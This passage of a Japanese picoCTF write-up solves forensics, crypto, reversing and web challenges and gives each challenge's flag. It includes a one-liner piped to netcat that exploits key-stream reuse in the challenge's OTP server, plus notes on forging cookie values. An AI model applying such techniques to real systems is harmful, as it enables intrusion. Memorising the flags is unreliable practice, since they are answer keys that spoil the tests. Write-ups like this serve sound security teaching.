io.interactive()

実行するとシェルコードが走ってシェル獲得、flag.txtを読むことができる。

solve

Matryoshka doll (30point)

dolls.jpgが配布される。名前からどう考えてもファイルがマトリョーシカ人形的に入れ子になっているとしか考えられない。Stirlingでバイナリを表示させると、ファイルフォーマットはPNGとなっている。

dolls.jpgのバイナリ先頭

PNGファイルの終端IENDを検索すると、続きにPKから始まるアーカイブファイルが含まれていることがわかる。

dolls.jpgのIEND部分

PKの部分から終端までをコピーして新しくzipファイルとして作成し、解凍するとbase_images/2_c.jpgが見つかる。2_c.jpgについても同様にIENDを検索すると続きにPKが埋まっているので、同様に切り出してzipファイルにして解凍を続けると、4回切り出して解凍したところでflag.txtが出てくる。

出てきたファイル一覧

各切り出しアドレスは次の通り。

dolls.jpg:4286c-9f173
2_c.jpg:2dd3b-5dbc1
3_c.jpg:1e2d6-312e0
4_c.jpg:136da-137bf

picoCTF{336cf6d51c9d9774fd37196c1d7320ff}

crackme-py (30point)

crackme.pyが配布される。

crackme.py
# Hiding this really important number in an obscure piece of code is brilliant!
# AND it's encrypted!
# We want our biggest client to know his information is safe with us.
bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE0cdhb52g2N"

# Reference alphabet
alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"



def decode_secret(secret):
    """ROT47 decode

    NOTE: encode and decode are the same operation in the ROT cipher family.
    """

    # Encryption key
    rotate_const = 47

    # Storage for decoded secret
    decoded = ""

    # decode loop
    for c in secret:
        index = alphabet.find(c)
        original_index = (index + rotate_const) % len(alphabet)
        decoded = decoded + alphabet[original_index]

    print(decoded)



def choose_greatest():
    """Echo the largest of the two numbers given by the user to the program

    Warning: this function was written quickly and needs proper error handling
    """

    user_value_1 = input("What's your first number? ")
    user_value_2 = input("What's your second number? ")
    greatest_value = user_value_1 # need a value to return if 1 & 2 are equal

    if user_value_1 > user_value_2:
        greatest_value = user_value_1
    elif user_value_1 < user_value_2:
        greatest_value = user_value_2

    print( "The number with largest positive magnitude is "
        + str(greatest_value) )



choose_greatest()

実行させるまでもなくA:4@r%uL`M-^M0c0AbcM-MFE0cdhb52g2NをROT47で復号させればよい。適当なデコーダを検索して実行。

picoCTF{1|\/|_4_p34|\|ut_4593da8a}

Magikarp Ground Mission (30point)

問題文通りにSSHでログインすると3分割されたflag.txtとinstructionsファイルがあるので、順番に表示させながら進んでいけばよい。

solve

tunn3l v1s10n (40point)

tunn3l_v1s10nのファイルが配布される。Stirlingでファイルの先頭を見るとBMの文字列があるので、拡張子を.bmpにしてみるが、表示されない。ファイルヘッダが壊れているようだ。

ビットマップのファイルフォーマットについて調べる。

ファイルヘッダ
offsetsize情報
0x00002bytebfTypeBM
0x00024bytebfSizteヘッダを含むファイルサイズ(byte)
0x00062bytebfReserved1予約領域、常に 0
0x00082bytebfReserved2予約領域、常に 0
0x000A4bytebfOffBitsファイル先頭から画像データ本体までのoffset(byte)

Windows bmp 情報ヘッダ
offsetsize情報
0x000E4bytebiSize28 00 00 00
0x00124bytebiWidth画像の横幅、pixel単位
0x00164bytebiHeight画像の縦幅、pixel単位
............

これを踏まえてファイルヘッダ部分を見る。

tunn3l_v1s10nのファイルヘッダ

強調した部分は共にBA D0となっているが、これはbfOffBitsとbiSizeで、biSizeは固定値で0x28byte、bfOffBitsはファイルヘッダ(0xD)+情報ヘッダ(0x28)の次になるので0x36になる。これらを修正する。

tunn3l_v1s10nの修正後ファイルヘッダ

表示結果。

tunn3l_v1s10n.bmpの表示

notaflag{sorry}でハズレ。ところでtunn3l v1s10nとはtunnel visionのことで、視野狭窄を意味する。ということで、画像サイズに問題があると考えて情報ヘッダの横幅または縦幅を修正してみる。

tunn3l_v1s10nの情報ヘッダ

画像が横長なので、強調した縦幅32 01を大きくしていく。

tunn3l_v1s10nの修正後情報ヘッダ

結果。

tunn3l_v1s10n.bmpの表示

Easy Peasy (40point)

otp.pyが配布され、サーバ上で操作してflagを得る必要がある。

otp.py
#!/usr/bin/python3 -u
import os.path

KEY_FILE = "key"
KEY_LEN = 50000
FLAG_FILE = "flag"


def startup(key_location):
        flag = open(FLAG_FILE).read()
        kf = open(KEY_FILE, "rb").read()

        start = key_location
        stop = key_location + len(flag)

        key = kf[start:stop]
        key_location = stop

        result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key))
        print("This is the encrypted flag!\n{}\n".format("".join(result)))

        return key_location

def encrypt(key_location):
        ui = input("What data would you like to encrypt? ").rstrip()
        if len(ui) == 0 or len(ui) > KEY_LEN:
                return -1

        start = key_location
        stop = key_location + len(ui)

        kf = open(KEY_FILE, "rb").read()

        if stop >= KEY_LEN:
                stop = stop % KEY_LEN
                key = kf[start:] + kf[:stop]
        else:
                key = kf[start:stop]
        key_location = stop

        result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key))

        print("Here ya go!\n{}\n".format("".join(result)))

        return key_location


print("******************Welcome to our OTP implementation!******************")
c = startup(0)
while c >= 0:
        c = encrypt(c)

otp.pyは最初にflagを暗号化したテキストを出力して、続いてユーザー入力を暗号化して表示させる動作を繰り返す。暗号化は文字列をKEYでXORさせ、KEY_LENを見ると全長50000文字のKEYを暗号対象に順番に使用していく。暗号化した文字数が50000を超えるとKEYが一周するため、flagから数えて50000文字暗号化させれば、flagを暗号化したKEYを再び使用することができる。

最初に得られるflagを暗号化した値は次の通り。

******************Welcome to our OTP implementation!******************
This is the encrypted flag!
5b1e564b6e415c0e394e0401384b08553a4e5c597b6d4a5c5a684d50013d6e4b

flagは32文字であることがわかるので、49968文字暗号化させたあとに、flagを暗号化した値を入力すればXOR演算で元のflagが得られる。

python -c "print (b'\x00')*49968;print '\x5b\x1e\x56\x4b\x6e\x41\x5c\x0e\x39\x4e\x04\x01\x38\x4b\x08\x55\x3a\x4e\x5c\x59\x7b\x6d\x4a\x5c\x5a\x68\x4d\x50\x01\x3d\x6e\x4b'" | nc mercury.picoctf.net 20266
solve

出てくる数値を次のPythonコードで復号。

solve.py
from Crypto.Util.number import bytes_to_long, long_to_bytes

print(long_to_bytes(int("3939303732393936653666376433393766366561303132386234353137633233",16)))

出力にpicoCTF{}をつけて、picoCTF{99072996e6f7d397f6ea0128b4517c23}

ARMssembly 0 (40point)

アセンブラが書かれたchall.Sが配布され、このプログラムに引数として182476535と3742084308を与えたときの出力を16進数で答える問題。

chall.S
        .arch armv8-a
        .file   "chall.c"
        .text
        .align  2
        .global func1
        .type   func1, %function
func1:
        sub     sp, sp, #16
        str     w0, [sp, 12]
        str     w1, [sp, 8]
        ldr     w1, [sp, 12]
        ldr     w0, [sp, 8]
        cmp     w1, w0
        bls     .L2
        ldr     w0, [sp, 12]
        b       .L3
.L2:
        ldr     w0, [sp, 8]
.L3:
        add     sp, sp, 16
        ret
        .size   func1, .-func1
        .section        .rodata
        .align  3
.LC0:
        .string "Result: %ld\n"
        .text
        .align  2
        .global main
        .type   main, %function
main:
        stp     x29, x30, [sp, -48]!
        add     x29, sp, 0
        str     x19, [sp, 16]
        str     w0, [x29, 44]
        str     x1, [x29, 32]
        ldr     x0, [x29, 32]
        add     x0, x0, 8
        ldr     x0, [x0]
        bl      atoi
        mov     w19, w0
        ldr     x0, [x29, 32]
        add     x0, x0, 16
        ldr     x0, [x0]
        bl      atoi
        mov     w1, w0
        mov     w0, w19
        bl      func1
        mov     w1, w0
        adrp    x0, .LC0
        add     x0, x0, :lo12:.LC0
        bl      printf
        mov     w0, 0
        ldr     x19, [sp, 16]
        ldp     x29, x30, [sp], 48
        ret
        .size   main, .-main
        .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
        .section        .note.GNU-stack,"",@progbits

中身を見ると64bitのARMで書かれている。そのままでは動かないので、aarch64-linux-gnuを導入して次のコマンドでクロスコパイルする。

aarch64-linux-gnu-as -o chall.o chall.S

出てきたchall.oを更にaarch64-linux-gnu-ldで動くようにしようとしたが上手く行かなかったので、Ghidraに読ませた。

chall.o decompile
undefined8 main(undefined8 param_1,longlong param_2)

{
  uint uVar1;
  uint uVar2;
  ulonglong uVar3;
  
  uVar1 = atoi(*(char **)(param_2 + 8));
  uVar2 = atoi(*(char **)(param_2 + 0x10));
  uVar3 = func1(uVar1,uVar2);
  printf("Result: %ld\n",uVar3 & 0xffffffff);
  return 0;
}

ulonglong func1(uint param_1,uint param_2)

{
  if (param_2 < param_1) {
    param_2 = param_1;
  }
  return (ulonglong)param_2;
}

逆コンパイルされたmain関数とfunc1関数を見ると、単純に二つの入力値を比較して大きい方を出力している。今回の入力値は182476535と3742084308なので、出力は3742084308になる。回答は小文字の16進数を0xを除いて答えるように指定されているので、フラッグはpicoCTF{df0bacd4}

Cookies (40point)

クッキーを探すゲーム。以下の画面が表示される。

Webページの表示

flaskのsessionをブルートフォースしてsecret_keyがrandom stringであることを突き止めてsessionを改ざんしたりしていたが、難しく考えすぎていた。単純にクッキーを入力するとよい。

I love snickerdoodle cookies!

適当な単語を入れてもThat doesn't appear to be a valid cookie.で弾かれるが、snickerdoodleを入れるとI love snickerdoodle cookies!に変わり、ブラウザのCookieのnameが-1から0に変化する。他のクッキーの名前も入れていくと、例えばbiscottiではCookieのnameが10に増えている。そこでCookieを適当なプラグインで書き換えて数字を増やしていくと、name=18でflagが表示された。

solve

Wireshark doo dooo do doo... (50point)

pcapファイルが配布されるので、TCPストリームを見てみる。

TCPストリーム

いかにも換字式暗号っぽいフラッグがあるので、CyberChef(https://gchq.github.io/CyberChef/)でVigenère decodeにかけてみると、nで当たった。

solve

speeds and feeds (50point)

nc mercury.picoctf.net 59953に接続するとコードが降ってきた。

G17 G21 G40 G90 G64 P0.003 F50
G0Z0.1
G0Z0.1
G0X0.8276Y3.8621
G1Z0.1
G1X0.8276Y-1.9310
G0Z0.1
G0X1.1034Y3.8621
G1Z0.1
G1X1.1034Y-1.9310
G0Z0.1
G0X1.1034Y3.0345
G1Z0.1
G1X1.6552Y3.5862
G1X2.2069Y3.8621
G1X2.7586Y3.8621
G1X3.5862Y3.5862
G1X4.1379Y3.0345
G1X4.4138Y2.2069
G1X4.4138Y1.6552
G1X4.1379Y0.8276
G1X3.5862Y0.2759
G1X2.7586Y0.0000
G1X2.2069Y0.0000
G1X1.6552Y0.2759
G1X1.1034Y0.8276
G0Z0.1
G0X2.7586Y3.8621
G1Z0.1
G1X3.3103Y3.5862
G1X3.8621Y3.0345
G1X4.1379Y2.2069
G1X4.1379Y1.6552
G1X3.8621Y0.8276
G1X3.3103Y0.2759
G1X2.7586Y0.0000
G0Z0.1
G0X0.0000Y3.8621
G1Z0.1
G1X1.1034Y3.8621
G0Z0.1
G0X0.0000Y-1.9310
G1Z0.1
G1X1.9310Y-1.9310
G0Z0.1
G0X7.2414Y5.7931
G1Z0.1
G1X6.9655Y5.5172
G1X7.2414Y5.2414
G1X7.5172Y5.5172
G1X7.2414Y5.7931
G0Z0.1
G0X7.2414Y3.8621
G1Z0.1
G1X7.2414Y0.0000
G0Z0.1
G0X7.5172Y3.8621
G1Z0.1
G1X7.5172Y0.0000
G0Z0.1
G0X6.4138Y3.8621
G1Z0.1
G1X7.5172Y3.8621
G0Z0.1
G0X6.4138Y0.0000
G1Z0.1
G1X8.3448Y0.0000
G0Z0.1
G0X13.6552Y3.0345
G1Z0.1
G1X13.3793Y2.7586
G1X13.6552Y2.4828
G1X13.9310Y2.7586
G1X13.9310Y3.0345
G1X13.3793Y3.5862
G1X12.8276Y3.8621
G1X12.0000Y3.8621
G1X11.1724Y3.5862
G1X10.6207Y3.0345
G1X10.3448Y2.2069
G1X10.3448Y1.6552
G1X10.6207Y0.8276
G1X11.1724Y0.2759
G1X12.0000Y0.0000
G1X12.5517Y0.0000
G1X13.3793Y0.2759
G1X13.9310Y0.8276
G0Z0.1
G0X12.0000Y3.8621
G1Z0.1
G1X11.4483Y3.5862
G1X10.8966Y3.0345
G1X10.6207Y2.2069
G1X10.6207Y1.6552
G1X10.8966Y0.8276
G1X11.4483Y0.2759
G1X12.0000Y0.0000
G0Z0.1
G0X17.5862Y3.8621
G1Z0.1
G1X16.7586Y3.5862
G1X16.2069Y3.0345
G1X15.9310Y2.2069
G1X15.9310Y1.6552
G1X16.2069Y0.8276
G1X16.7586Y0.2759
G1X17.5862Y0.0000
G1X18.1379Y0.0000
G1X18.9655Y0.2759
G1X19.5172Y0.8276
G1X19.7931Y1.6552
G1X19.7931Y2.2069
G1X19.5172Y3.0345
G1X18.9655Y3.5862
G1X18.1379Y3.8621
G1X17.5862Y3.8621
G1X17.0345Y3.5862
G1X16.4828Y3.0345
G1X16.2069Y2.2069
G1X16.2069Y1.6552
G1X16.4828Y0.8276
G1X17.0345Y0.2759
G1X17.5862Y0.0000
G0Z0.1
G0X18.1379Y0.0000
G1Z0.1
G1X18.6897Y0.2759
G1X19.2414Y0.8276
G1X19.5172Y1.6552
G1X19.5172Y2.2069
G1X19.2414Y3.0345
G1X18.6897Y3.5862
G1X18.1379Y3.8621
G0Z0.1
G0X25.6552Y4.9655
G1Z0.1
G1X25.9310Y4.1379
G1X25.9310Y5.7931
G1X25.6552Y4.9655
G1X25.1034Y5.5172
G1X24.2759Y5.7931
G1X23.7241Y5.7931
G1X22.8966Y5.5172
G1X22.3448Y4.9655
G1X22.0690Y4.4138
G1X21.7931Y3.5862
G1X21.7931Y2.2069
G1X22.0690Y1.3793
G1X22.3448Y0.8276
G1X22.8966Y0.2759
G1X23.7241Y0.0000
G1X24.2759Y0.0000
G1X25.1034Y0.2759
G1X25.6552Y0.8276
G1X25.9310Y1.3793
G0Z0.1
G0X23.7241Y5.7931
G1Z0.1
G1X23.1724Y5.5172
G1X22.6207Y4.9655
G1X22.3448Y4.4138
G1X22.0690Y3.5862
G1X22.0690Y2.2069
G1X22.3448Y1.3793
G1X22.6207Y0.8276
G1X23.1724Y0.2759
G1X23.7241Y0.0000
G0Z0.1
G0X29.8621Y5.7931
G1Z0.1
G1X29.8621Y0.0000
G0Z0.1
G0X30.1379Y5.7931
G1Z0.1
G1X30.1379Y0.0000
G0Z0.1
G0X28.2069Y5.7931
G1Z0.1
G1X27.9310Y4.1379
G1X27.9310Y5.7931
G1X32.0690Y5.7931
G1X32.0690Y4.1379
G1X31.7931Y5.7931
G0Z0.1
G0X29.0345Y0.0000
G1Z0.1
G1X30.9655Y0.0000
G0Z0.1
G0X34.8966Y5.7931
G1Z0.1
G1X34.8966Y0.0000
G0Z0.1
G0X35.1724Y5.7931
G1Z0.1
G1X35.1724Y0.0000
G0Z0.1
G0X36.8276Y4.1379
G1Z0.1
G1X36.8276Y1.9310
G0Z0.1
G0X34.0690Y5.7931
G1Z0.1
G1X38.4828Y5.7931
G1X38.4828Y4.1379
G1X38.2069Y5.7931
G0Z0.1
G0X35.1724Y3.0345
G1Z0.1
G1X36.8276Y3.0345
G0Z0.1
G0X34.0690Y0.0000
G1Z0.1
G1X36.0000Y0.0000
G0Z0.1
G0X41.8621Y6.8966
G1Z0.1
G1X41.3103Y6.6207
G1X41.0345Y6.3448
G1X40.7586Y5.7931
G1X40.7586Y5.2414
G1X41.0345Y4.6897
G1X41.3103Y4.4138
G1X41.5862Y3.8621
G1X41.5862Y3.3103
G1X41.0345Y2.7586
G0Z0.1
G0X41.3103Y6.6207
G1Z0.1
G1X41.0345Y6.0690
G1X41.0345Y5.5172
G1X41.3103Y4.9655
G1X41.5862Y4.6897
G1X41.8621Y4.1379
G1X41.8621Y3.5862
G1X41.5862Y3.0345
G1X40.4828Y2.4828
G1X41.5862Y1.9310
G1X41.8621Y1.3793
G1X41.8621Y0.8276
G1X41.5862Y0.2759
G1X41.3103Y0.0000
G1X41.0345Y-0.5517
G1X41.0345Y-1.1034
G1X41.3103Y-1.6552
G0Z0.1
G0X41.0345Y2.2069
G1Z0.1
G1X41.5862Y1.6552
G1X41.5862Y1.1034
G1X41.3103Y0.5517
G1X41.0345Y0.2759
G1X40.7586Y-0.2759
G1X40.7586Y-0.8276
G1X41.0345Y-1.3793
G1X41.3103Y-1.6552
G1X41.8621Y-1.9310
G0Z0.1
G0X44.6897Y3.8621
G1Z0.1
G1X44.6897Y0.0000
G0Z0.1
G0X44.9655Y3.8621
G1Z0.1
G1X44.9655Y0.0000
G0Z0.1
G0X44.9655Y3.0345
G1Z0.1
G1X45.5172Y3.5862
G1X46.3448Y3.8621
G1X46.8966Y3.8621
G1X47.7241Y3.5862
G1X48.0000Y3.0345
G1X48.0000Y0.0000
G0Z0.1
G0X46.8966Y3.8621
G1Z0.1
G1X47.4483Y3.5862
G1X47.7241Y3.0345
G1X47.7241Y0.0000
G0Z0.1
G0X43.8621Y3.8621
G1Z0.1
G1X44.9655Y3.8621
G0Z0.1
G0X43.8621Y0.0000
G1Z0.1
G1X45.7931Y0.0000
G0Z0.1
G0X46.8966Y0.0000
G1Z0.1
G1X48.8276Y0.0000
G0Z0.1
G0X51.6552Y3.8621
G1Z0.1
G1X51.6552Y0.8276
G1X51.9310Y0.2759
G1X52.7586Y0.0000
G1X53.3103Y0.0000
G1X54.1379Y0.2759
G1X54.6897Y0.8276
G0Z0.1
G0X51.9310Y3.8621
G1Z0.1
G1X51.9310Y0.8276
G1X52.2069Y0.2759
G1X52.7586Y0.0000
G0Z0.1
G0X54.6897Y3.8621
G1Z0.1
G1X54.6897Y0.0000
G0Z0.1
G0X54.9655Y3.8621
G1Z0.1
G1X54.9655Y0.0000
G0Z0.1
G0X50.8276Y3.8621
G1Z0.1
G1X51.9310Y3.8621
G0Z0.1
G0X53.8621Y3.8621
G1Z0.1
G1X54.9655Y3.8621
G0Z0.1
G0X54.6897Y0.0000
G1Z0.1
G1X55.7931Y0.0000
G0Z0.1
G0X58.6207Y3.8621
G1Z0.1
G1X58.6207Y0.0000
G0Z0.1
G0X58.8966Y3.8621
G1Z0.1
G1X58.8966Y0.0000
G0Z0.1
G0X58.8966Y3.0345
G1Z0.1
G1X59.4483Y3.5862
G1X60.2759Y3.8621
G1X60.8276Y3.8621
G1X61.6552Y3.5862
G1X61.9310Y3.0345
G1X61.9310Y0.0000
G0Z0.1
G0X60.8276Y3.8621
G1Z0.1
G1X61.3793Y3.5862
G1X61.6552Y3.0345
G1X61.6552Y0.0000
G0Z0.1
G0X61.9310Y3.0345
G1Z0.1
G1X62.4828Y3.5862
G1X63.3103Y3.8621
G1X63.8621Y3.8621
G1X64.6897Y3.5862
G1X64.9655Y3.0345
G1X64.9655Y0.0000
G0Z0.1
G0X63.8621Y3.8621
G1Z0.1
G1X64.4138Y3.5862
G1X64.6897Y3.0345
G1X64.6897Y0.0000
G0Z0.1
G0X57.7931Y3.8621
G1Z0.1
G1X58.8966Y3.8621
G0Z0.1
G0X57.7931Y0.0000
G1Z0.1
G1X59.7241Y0.0000
G0Z0.1
G0X60.8276Y0.0000
G1Z0.1
G1X62.7586Y0.0000
G0Z0.1
G0X63.8621Y0.0000
G1Z0.1
G1X65.7931Y0.0000
G0Z0.1
G0X68.0690Y4.6897
G1Z0.1
G1X68.3448Y4.4138
G1X68.0690Y4.1379
G1X67.7931Y4.4138
G1X67.7931Y4.6897
G1X68.0690Y5.2414
G1X68.3448Y5.5172
G1X69.1724Y5.7931
G1X70.2759Y5.7931
G1X71.1034Y5.5172
G1X71.3793Y4.9655
G1X71.3793Y4.1379
G1X71.1034Y3.5862
G1X70.2759Y3.3103
G1X69.4483Y3.3103
G0Z0.1
G0X70.2759Y5.7931
G1Z0.1
G1X70.8276Y5.5172
G1X71.1034Y4.9655
G1X71.1034Y4.1379
G1X70.8276Y3.5862
G1X70.2759Y3.3103
G1X70.8276Y3.0345
G1X71.3793Y2.4828
G1X71.6552Y1.9310
G1X71.6552Y1.1034
G1X71.3793Y0.5517
G1X71.1034Y0.2759
G1X70.2759Y0.0000
G1X69.1724Y0.0000
G1X68.3448Y0.2759
G1X68.0690Y0.5517
G1X67.7931Y1.1034
G1X67.7931Y1.3793
G1X68.0690Y1.6552
G1X68.3448Y1.3793
G1X68.0690Y1.1034
G0Z0.1
G0X71.1034Y2.7586
G1Z0.1
G1X71.3793Y1.9310
G1X71.3793Y1.1034
G1X71.1034Y0.5517
G1X70.8276Y0.2759
G1X70.2759Y0.0000
G0Z0.1
G0X74.4828Y3.8621
G1Z0.1
G1X74.4828Y0.0000
G0Z0.1
G0X74.7586Y3.8621
G1Z0.1
G1X74.7586Y0.0000
G0Z0.1
G0X74.7586Y2.2069
G1Z0.1
G1X75.0345Y3.0345
G1X75.5862Y3.5862
G1X76.1379Y3.8621
G1X76.9655Y3.8621
G1X77.2414Y3.5862
G1X77.2414Y3.3103
G1X76.9655Y3.0345
G1X76.6897Y3.3103
G1X76.9655Y3.5862
G0Z0.1
G0X73.6552Y3.8621
G1Z0.1
G1X74.7586Y3.8621
G0Z0.1
G0X73.6552Y0.0000
G1Z0.1
G1X75.5862Y0.0000
G0Z0.1
G0X79.2414Y4.6897
G1Z0.1
G1X79.7931Y4.9655
G1X80.6207Y5.7931
G1X80.6207Y0.0000
G0Z0.1
G0X80.3448Y5.5172
G1Z0.1
G1X80.3448Y0.0000
G0Z0.1
G0X79.2414Y0.0000
G1Z0.1
G1X81.7241Y0.0000
G0Z0.1
G0X87.0345Y3.0345
G1Z0.1
G1X86.7586Y2.7586
G1X87.0345Y2.4828
G1X87.3103Y2.7586
G1X87.3103Y3.0345
G1X86.7586Y3.5862
G1X86.2069Y3.8621
G1X85.3793Y3.8621
G1X84.5517Y3.5862
G1X84.0000Y3.0345
G1X83.7241Y2.2069
G1X83.7241Y1.6552
G1X84.0000Y0.8276
G1X84.5517Y0.2759
G1X85.3793Y0.0000
G1X85.9310Y0.0000
G1X86.7586Y0.2759
G1X87.3103Y0.8276
G0Z0.1
G0X85.3793Y3.8621
G1Z0.1
G1X84.8276Y3.5862
G1X84.2759Y3.0345
G1X84.0000Y2.2069
G1X84.0000Y1.6552
G1X84.2759Y0.8276
G1X84.8276Y0.2759
G1X85.3793Y0.0000
G0Z0.1
G0X89.8621Y3.3103
G1Z0.1
G1X89.8621Y3.0345
G1X89.5862Y3.0345
G1X89.5862Y3.3103
G1X89.8621Y3.5862
G1X90.4138Y3.8621
G1X91.5172Y3.8621
G1X92.0690Y3.5862
G1X92.3448Y3.3103
G1X92.6207Y2.7586
G1X92.6207Y0.8276
G1X92.8966Y0.2759
G1X93.1724Y0.0000
G0Z0.1
G0X92.3448Y3.3103
G1Z0.1
G1X92.3448Y0.8276
G1X92.6207Y0.2759
G1X93.1724Y0.0000
G1X93.4483Y0.0000
G0Z0.1
G0X92.3448Y2.7586
G1Z0.1
G1X92.0690Y2.4828
G1X90.4138Y2.2069
G1X89.5862Y1.9310
G1X89.3103Y1.3793
G1X89.3103Y0.8276
G1X89.5862Y0.2759
G1X90.4138Y0.0000
G1X91.2414Y0.0000
G1X91.7931Y0.2759
G1X92.3448Y0.8276
G0Z0.1
G0X90.4138Y2.2069
G1Z0.1
G1X89.8621Y1.9310
G1X89.5862Y1.3793
G1X89.5862Y0.8276
G1X89.8621Y0.2759
G1X90.4138Y0.0000
G0Z0.1
G0X96.2759Y5.7931
G1Z0.1
G1X96.2759Y0.0000
G0Z0.1
G0X96.5517Y5.7931
G1Z0.1
G1X96.5517Y0.0000
G0Z0.1
G0X95.4483Y5.7931
G1Z0.1
G1X96.5517Y5.7931
G0Z0.1
G0X95.4483Y0.0000
G1Z0.1
G1X97.3793Y0.0000
G0Z0.1
G0X99.3793Y-0.5517
G1Z0.1
G1X103.7931Y-0.5517
G0Z0.1
G0X109.1034Y3.0345
G1Z0.1
G1X108.8276Y2.7586
G1X109.1034Y2.4828
G1X109.3793Y2.7586
G1X109.3793Y3.0345
G1X108.8276Y3.5862
G1X108.2759Y3.8621
G1X107.4483Y3.8621
G1X106.6207Y3.5862
G1X106.0690Y3.0345
G1X105.7931Y2.2069
G1X105.7931Y1.6552
G1X106.0690Y0.8276
G1X106.6207Y0.2759
G1X107.4483Y0.0000
G1X108.0000Y0.0000
G1X108.8276Y0.2759
G1X109.3793Y0.8276
G0Z0.1
G0X107.4483Y3.8621
G1Z0.1
G1X106.8966Y3.5862
G1X106.3448Y3.0345
G1X106.0690Y2.2069
G1X106.0690Y1.6552
G1X106.3448Y0.8276
G1X106.8966Y0.2759
G1X107.4483Y0.0000
G0Z0.1
G0X113.0345Y5.7931
G1Z0.1
G1X112.2069Y5.5172
G1X111.6552Y4.6897
G1X111.3793Y3.3103
G1X111.3793Y2.4828
G1X111.6552Y1.1034
G1X112.2069Y0.2759
G1X113.0345Y0.0000
G1X113.5862Y0.0000
G1X114.4138Y0.2759
G1X114.9655Y1.1034
G1X115.2414Y2.4828
G1X115.2414Y3.3103
G1X114.9655Y4.6897
G1X114.4138Y5.5172
G1X113.5862Y5.7931
G1X113.0345Y5.7931
G1X112.4828Y5.5172
G1X112.2069Y5.2414
G1X111.9310Y4.6897
G1X111.6552Y3.3103
G1X111.6552Y2.4828
G1X111.9310Y1.1034
G1X112.2069Y0.5517
G1X112.4828Y0.2759
G1X113.0345Y0.0000
G0Z0.1
G0X113.5862Y0.0000
G1Z0.1
G1X114.1379Y0.2759
G1X114.4138Y0.5517
G1X114.6897Y1.1034
G1X114.9655Y2.4828
G1X114.9655Y3.3103
G1X114.6897Y4.6897
G1X114.4138Y5.2414
G1X114.1379Y5.5172
G1X113.5862Y5.7931
G0Z0.1
G0X118.0690Y3.8621
G1Z0.1
G1X118.0690Y0.0000
G0Z0.1
G0X118.3448Y3.8621
G1Z0.1
G1X118.3448Y0.0000
G0Z0.1
G0X118.3448Y3.0345
G1Z0.1
G1X118.8966Y3.5862
G1X119.7241Y3.8621
G1X120.2759Y3.8621
G1X121.1034Y3.5862
G1X121.3793Y3.0345
G1X121.3793Y0.0000
G0Z0.1
G0X120.2759Y3.8621
G1Z0.1
G1X120.8276Y3.5862
G1X121.1034Y3.0345
G1X121.1034Y0.0000
G0Z0.1
G0X117.2414Y3.8621
G1Z0.1
G1X118.3448Y3.8621
G0Z0.1
G0X117.2414Y0.0000
G1Z0.1
G1X119.1724Y0.0000
G0Z0.1
G0X120.2759Y0.0000
G1Z0.1
G1X122.2069Y0.0000
G0Z0.1
G0X125.0345Y5.7931
G1Z0.1
G1X125.0345Y1.1034
G1X125.3103Y0.2759
G1X125.8621Y0.0000
G1X126.4138Y0.0000
G1X126.9655Y0.2759
G1X127.2414Y0.8276
G0Z0.1
G0X125.3103Y5.7931
G1Z0.1
G1X125.3103Y1.1034
G1X125.5862Y0.2759
G1X125.8621Y0.0000
G0Z0.1
G0X124.2069Y3.8621
G1Z0.1
G1X126.4138Y3.8621
G0Z0.1
G0X130.0690Y3.8621
G1Z0.1
G1X130.0690Y0.0000
G0Z0.1
G0X130.3448Y3.8621
G1Z0.1
G1X130.3448Y0.0000
G0Z0.1
G0X130.3448Y2.2069
G1Z0.1
G1X130.6207Y3.0345
G1X131.1724Y3.5862
G1X131.7241Y3.8621
G1X132.5517Y3.8621
G1X132.8276Y3.5862
G1X132.8276Y3.3103
G1X132.5517Y3.0345
G1X132.2759Y3.3103
G1X132.5517Y3.5862
G0Z0.1
G0X129.2414Y3.8621
G1Z0.1
G1X130.3448Y3.8621
G0Z0.1
G0X129.2414Y0.0000
G1Z0.1
G1X131.1724Y0.0000
G0Z0.1
G0X136.4828Y5.7931
G1Z0.1
G1X135.6552Y5.5172
G1X135.1034Y4.6897
G1X134.8276Y3.3103
G1X134.8276Y2.4828
G1X135.1034Y1.1034
G1X135.6552Y0.2759
G1X136.4828Y0.0000
G1X137.0345Y0.0000
G1X137.8621Y0.2759
G1X138.4138Y1.1034
G1X138.6897Y2.4828
G1X138.6897Y3.3103
G1X138.4138Y4.6897
G1X137.8621Y5.5172
G1X137.0345Y5.7931
G1X136.4828Y5.7931
G1X135.9310Y5.5172
G1X135.6552Y5.2414
G1X135.3793Y4.6897
G1X135.1034Y3.3103
G1X135.1034Y2.4828
G1X135.3793Y1.1034
G1X135.6552Y0.5517
G1X135.9310Y0.2759
G1X136.4828Y0.0000
G0Z0.1
G0X137.0345Y0.0000
G1Z0.1
G1X137.5862Y0.2759
G1X137.8621Y0.5517
G1X138.1379Y1.1034
G1X138.4138Y2.4828
G1X138.4138Y3.3103
G1X138.1379Y4.6897
G1X137.8621Y5.2414
G1X137.5862Y5.5172
G1X137.0345Y5.7931
G0Z0.1
G0X141.5172Y5.7931
G1Z0.1
G1X141.5172Y0.0000
G0Z0.1
G0X141.7931Y5.7931
G1Z0.1
G1X141.7931Y0.0000
G0Z0.1
G0X140.6897Y5.7931
G1Z0.1
G1X141.7931Y5.7931
G0Z0.1
G0X140.6897Y0.0000
G1Z0.1
G1X142.6207Y0.0000
G0Z0.1
G0X144.6207Y-0.5517
G1Z0.1
G1X149.0345Y-0.5517
G0Z0.1
G0X153.2414Y5.5172
G1Z0.1
G1X152.9655Y5.2414
G1X153.2414Y4.9655
G1X153.5172Y5.2414
G1X153.5172Y5.5172
G1X153.2414Y5.7931
G1X152.6897Y5.7931
G1X152.1379Y5.5172
G1X151.8621Y4.9655
G1X151.8621Y0.0000
G0Z0.1
G0X152.6897Y5.7931
G1Z0.1
G1X152.4138Y5.5172
G1X152.1379Y4.9655
G1X152.1379Y0.0000
G0Z0.1
G0X151.0345Y3.8621
G1Z0.1
G1X153.2414Y3.8621
G0Z0.1
G0X151.0345Y0.0000
G1Z0.1
G1X152.9655Y0.0000
G0Z0.1
G0X155.7931Y4.6897
G1Z0.1
G1X156.0690Y4.4138
G1X155.7931Y4.1379
G1X155.5172Y4.4138
G1X155.5172Y4.6897
G1X155.7931Y5.2414
G1X156.0690Y5.5172
